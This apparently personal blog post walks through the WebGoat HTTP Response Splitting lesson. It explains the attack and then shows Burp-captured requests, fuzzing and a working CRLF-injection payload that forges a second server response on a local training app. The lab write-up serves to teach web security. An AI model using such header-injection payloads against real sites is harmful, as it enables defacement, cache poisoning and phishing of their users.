Are you okay? I hope so.
Are you happy? I hope so.
In this post, we will say something about a hacking method to get a chance to launch XSS attack. The method I want to describe here is named HTTP Splitting. We will learn something about it and get practice with WebGoat.
This is some definition and description about it.
The essence of HTTP Response Splitting is an attacker's ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response. This type of vulnerability can be exploited to perform several web application based attacks
What the attacker can do with this vulnerability?
- Cross-site-scripting
- Cross user defacement: This is a form of temporary defacement where the website, may looked defaced to a particular user. This is used in cases of information, id, or password theft. This enables an attacker to make the website look defaced to a particular single user, thus allowing the attacker to steal session data, cookies. It also allows the attacker to steal login information by forging a fake login screen for the website, thus allowing account compromise.
- Web cache poisoning: In this case the attacker uses a proxy server etc and calls the vulnerable page using it to fool the cache into caching the second server response over which the attacker as complete control thus making the website defaced for anyone who uses or shares that cache server or proxy server. The second being phishing, in which by showing a false page loaded by the attacker we can cause many users to give up private credit card numbers, user names, passwords and other confidential information
- Browser cache poisoning: This attack is similar to XSS, the only difference being that the attacker forces the browser to cache the web page thus forming a long lasting defacement till the browser's cache has been cleared or cleaned.
These kind of attacks are generally carried out in web applications by injecting malicious or unexpected characters in user input which is then used for a 302 Redirect, in the Location or Set-Cookie header. So in the case of web applications, a code generally such as "\r\n" is injected in one of its many encoded forms. Though this vulnerability is mainly present in web applications it is not limited to them and can be exploited with similar methods over different protocols, as long as user input is present in headers, and there is no validation for all illegal characters
Okay, I've done my story about it. Let's get to practice!
To complete this lession, we have to inject something to input that can force browser to display something abnormally. Before trying do that. I have to find the way browser do with my input data. To view the data transfer between browser and server, I used a proxy server application (eg Burpsuite proxy).
When I entered “vn” to input field, the Burp show me the request that is sent to web server:
First request:
POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=vn
Cookie: JSESSIONID=A5027520702BFAAAA39D2A45B595E677
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
language=vn&SUBMIT=Search%21
First response from web server:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://localhost:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=vn
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Fri, 27 Apr 2012 08:18:26 GMT
Just pay attention on Location field. My input seem to be exist on this field. To ensure that the application will not sanitize my input data, I will use fuzzing method to test.
First step, I will enter data with some special characters like %, #, :, etc
In this case, I've entered: vn%#2032
And I found this response from the web server:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://localhost:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=vn%#2032
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Fri, 27 Apr 2012 08:23:38 GMT
So, I can ensure that my input had not been sanitized, and it can contain vulnerability.
Now, I will inject something that fake the okay response to force browser display my message: “Sorry, System Down”
The correct response from webserver like this:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Fri, 27 Apr 2012 08:27:33 GMT
Server: Apache/2.2.22 (Amazon)
X-Powered-By: PHP/5.3.10
Content-Length: 66
Connection: keep-alive
So I will inject this string: vn%0aContent-Length: 0%0a%0aHTTP/1.1 200 OK%0aContent- Type: text/html%0aContent-Length: 35%0a%0a<html>Sorry, System Down</html>
The Content-Length: 0 is right after input used to mark that first request is completed.
The request is:
POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=A5027520702BFAAAA39D2A45B595E677
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
language=vn%250aContent-Length%3A+0%250a%250aHTTP%2F1.1+200+OK%250aContent-+Type%3A+text%2Fhtml%250aContent-Length%3A+35%250a%250a%3Chtml%3ESorry%2C+System+Down%3C%2Fhtml%3E&SUBMIT=Search%21
First response:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://localhost:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=vn%0aContent-Length: 0%0a%0aHTTP/1.1 200 OK%0aContent- Type: text/html%0aContent-Length: 35%0a%0a<html>Sorry, System Down</html>
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Fri, 27 Apr 2012 09:42:40 GMT
second request:
GET /WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=vn%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-%20Type:%20text/html%0aContent-Length:%2035%0a%0a%3Chtml%3ESorry,%20System%20Down%3C/html%3E HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=A5027520702BFAAAA39D2A45B595E677
Second Response:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 07:00:00 ICT
Content-Type: text/html
Date: Fri, 27 Apr 2012 09:43:17 GMT
Content-Length: 31
<html>Sorry, System Down</html>
Finally, back to home and go to stage 2: Cache poisoning.
On later post, we will try to poisoning the web cache with this vulnerability
Continue ...
No comments:
Post a Comment